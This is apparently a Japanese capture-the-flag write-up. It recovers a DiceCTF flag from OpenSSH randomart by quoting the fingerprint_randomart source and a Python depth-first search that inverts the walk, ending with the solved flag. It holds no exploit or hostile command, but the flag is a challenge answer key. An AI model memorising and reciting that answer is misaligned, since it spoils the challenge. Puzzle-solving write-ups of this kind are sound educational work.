+---[THE FLAG]----+
+----[THIS IS]----+
|     .E=.        |
|      o..        |
|     o ..        |
|    o o.         |
|     O .S        |
|    o B          |
|     o o         |
|  ... B          |
|  +=.= .         |
+---[md5(FLAG)]---+

問題文で上記生成のための実装部分のリンクが与えられているので見てみます。

github.com

実装としては、17×8のフィールドのマスごとに設定された値に基づいてどの文字を描画するのかを決定します。マスごとの値の初期値は0となっており、与えられたバイト列の下位から2ビットずつの値を元にxとyを移動させ、そのたびに位置xyのマスの値を1増加させます。xyの初期値はフィールドの中央(x=8, y=4)です。また、初期xyの位置と最終的なxyの位置のマスにはどのような値かに関わらず、特定の文字が描画されます。

#define FLDBASE     8
#define    FLDSIZE_Y    (FLDBASE + 1)
#define    FLDSIZE_X    (FLDBASE * 2 + 1)
static char *
fingerprint_randomart(const char *alg, u_char *dgst_raw, size_t dgst_raw_len,
    const struct sshkey *k)
{
    /*
    * Chars to be used after each other every time the worm
    * intersects with itself.  Matter of taste.
    */
    char   *augmentation_string = " .o+=*BOX@%&#/^SE";
    char   *retval, *p, title[FLDSIZE_X], hash[FLDSIZE_X];
    u_char   field[FLDSIZE_X][FLDSIZE_Y];
    size_t  i, tlen, hlen;
    u_int    b;
    int     x, y, r;
    size_t  len = strlen(augmentation_string) - 1;

    if ((retval = calloc((FLDSIZE_X + 3), (FLDSIZE_Y + 2))) == NULL)
        return NULL;

    /* initialize field */
    memset(field, 0, FLDSIZE_X * FLDSIZE_Y * sizeof(char));
    x = FLDSIZE_X / 2;
    y = FLDSIZE_Y / 2;

    /* process raw key */
    for (i = 0; i < dgst_raw_len; i++) {
        int input;
        /* each byte conveys four 2-bit move commands */
        input = dgst_raw[i];
        for (b = 0; b < 4; b++) {
            /* evaluate 2 bit, rest is shifted later */
            x += (input & 0x1) ? 1 : -1;
            y += (input & 0x2) ? 1 : -1;

            /* assure we are still in bounds */
            x = MAXIMUM(x, 0);
            y = MAXIMUM(y, 0);
            x = MINIMUM(x, FLDSIZE_X - 1);
            y = MINIMUM(y, FLDSIZE_Y - 1);

            /* augment the field */
            if (field[x][y] < len - 2)
                field[x][y]++;
            input = input >> 2;
        }
    }

    /* mark starting point and end point*/
    field[FLDSIZE_X / 2][FLDSIZE_Y / 2] = len - 1;
    field[x][y] = len;

    /* assemble title */
    r = snprintf(title, sizeof(title), "[%s %u]",
        sshkey_type(k), sshkey_size(k));
    /* If [type size] won't fit, then try [type]; fits "[ED25519-CERT]" */
    if (r < 0 || r > (int)sizeof(title))
        r = snprintf(title, sizeof(title), "[%s]", sshkey_type(k));
    tlen = (r <= 0) ? 0 : strlen(title);

    /* assemble hash ID. */
    r = snprintf(hash, sizeof(hash), "[%s]", alg);
    hlen = (r <= 0) ? 0 : strlen(hash);

    /* output upper border */
    p = retval;
    *p++ = '+';
    for (i = 0; i < (FLDSIZE_X - tlen) / 2; i++)
        *p++ = '-';
    memcpy(p, title, tlen);
    p += tlen;
    for (i += tlen; i < FLDSIZE_X; i++)
        *p++ = '-';
    *p++ = '+';
    *p++ = '\n';

    /* output content */
    for (y = 0; y < FLDSIZE_Y; y++) {
        *p++ = '|';
        for (x = 0; x < FLDSIZE_X; x++)
            *p++ = augmentation_string[MINIMUM(field[x][y], len)];
        *p++ = '|';
        *p++ = '\n';
    }

    /* output lower border */
    *p++ = '+';
    for (i = 0; i < (FLDSIZE_X - hlen) / 2; i++)
        *p++ = '-';
    memcpy(p, hash, hlen);
    p += hlen;
    for (i += hlen; i < FLDSIZE_X; i++)
        *p++ = '-';
    *p++ = '+';

    return retval;
}

上記の実装とは逆にフィールドのマスの値を1減少させるようにし、初期と最終位置以外のマスがすべて0となるような入力バイト列を探索します。フラグのフォーマットはdice{[a-z0-9_-]+}となっているので、一文字ずつxyの移動を処理して深さ優先探索でフラグを特定します。フラグの文字列だけでは、候補がいくつかあるのでmd5ハッシュ値から描画されるアートを利用して正しいフラグを特定します。

下記のようなコードで探索を実行しました。

import copy
import hashlib
 
flag = '''+----[THIS IS]----+
|          o  o+++|
|         + . .=*E|
|        B . . oo=|
|       = . .  .+ |
|        S        |
|                 |
|                 |
|                 |
|                 |
+---[THE FLAG]----+
'''
 
hash = '''+----[THIS IS]----+
|     .E=.        |
|      o..        |
|     o ..        |
|    o o.         |
|     O .S        |
|    o B          |
|     o o         |
|  ... B          |
|  +=.= .         |
+---[md5(FLAG)]---+
'''
 
augmentation_chars = ' .o+=*BOX@%&#/^SE'
MAX_X = 17
MAX_Y = 9
 
def init_field(signature):
  global end_pos
  total_count = 0
  field = [[0] * MAX_Y for _ in range(MAX_X)]
  for x in range(17):
    for y in range(9):
      c = signature[(y + 1) * 20 + (x + 1)]
      n = augmentation_chars.find(c)
      if n == len(augmentation_chars) - 2:
        n = -1
      elif n == len(augmentation_chars) - 1:
        n = -1
        end_pos = (x, y)
      elif n != 0:
        total_count += 1
      field[x][y] = n
  print(total_count)
  return (field, total_count)
 
field2, total_count2 = init_field(hash)
field, total_count = init_field(flag)
 
d = [(-1, -1), (1, -1), (-1, 1), (1, 1)]
def consume(f, x, y, chars, count, validate):
  if validate:
    f = copy.deepcopy(f)
  for c in chars:
    n = ord(c) if type(c) is str else c
    for _ in range(4):
      x += d[n & 0b11][0]
      y += d[n & 0b11][1]
 
      if x >= MAX_X:
        x = MAX_X - 1
      if y >= MAX_Y:
        y = MAX_Y - 1
      if x < 0:
        x = 0
      if y < 0:
        y = 0
 
      if f[x][y] == 0:
        return (None, None, None)
 
      f[x][y] -= 1
 
      if f[x][y] == 0:
        count -= 1
 
      n >>= 2
  return (x, y, count)
 
results = []
chars = '_-abcdefghijklmnopqrstuvwxyz0123456789}'
def try_char(pos_x, pos_y, c, result, count):
  n = ord(c)
  x = pos_x
  y = pos_y
  count_delta = 0
  delta_list = []
  for _ in range(4):
    x += d[n & 0b11][0]
    y += d[n & 0b11][1]
 
    if x < 0:
      x = 0
    if y < 0:
      y = 0
    if x >= MAX_X:
      x = MAX_X - 1
    if y >= MAX_Y:
      y = MAX_Y - 1
 
    if field[x][y] == 0:
      break
 
    delta_list.append((x, y))
    field[x][y] -= 1
 
    if field[x][y] == 0:
      count_delta += 1
 
    n >>= 2
 
  # next char
  else:
    if count - count_delta <= 0 and end_pos[0] == x and end_pos[1] == y and c == '}':
      print(result + c)
      results.append(result + c)
    for c_next in chars:
      try_char(x, y, c_next, result + c, count - count_delta)
 
  # restore
  for dx, dy in delta_list:
    field[dx][dy] += 1
 
cur_x, cur_y, cur_count = consume(field, 8, 4, 'dice{', total_count, False)
print(cur_x, cur_y, cur_count)
if cur_x is None:
  print('consume failed')
  exit(1)
for c in chars:
  try_char(cur_x, cur_y, c, 'dice{', cur_count)
 
for result in results:
  r, _, _ = consume(field2, 8, 4, hashlib.md5(result.encode()).digest(), total_count2, True)
  if r is not None:
    print('flag:', result)
    exit(0)

flag: dice{unr4dn0m}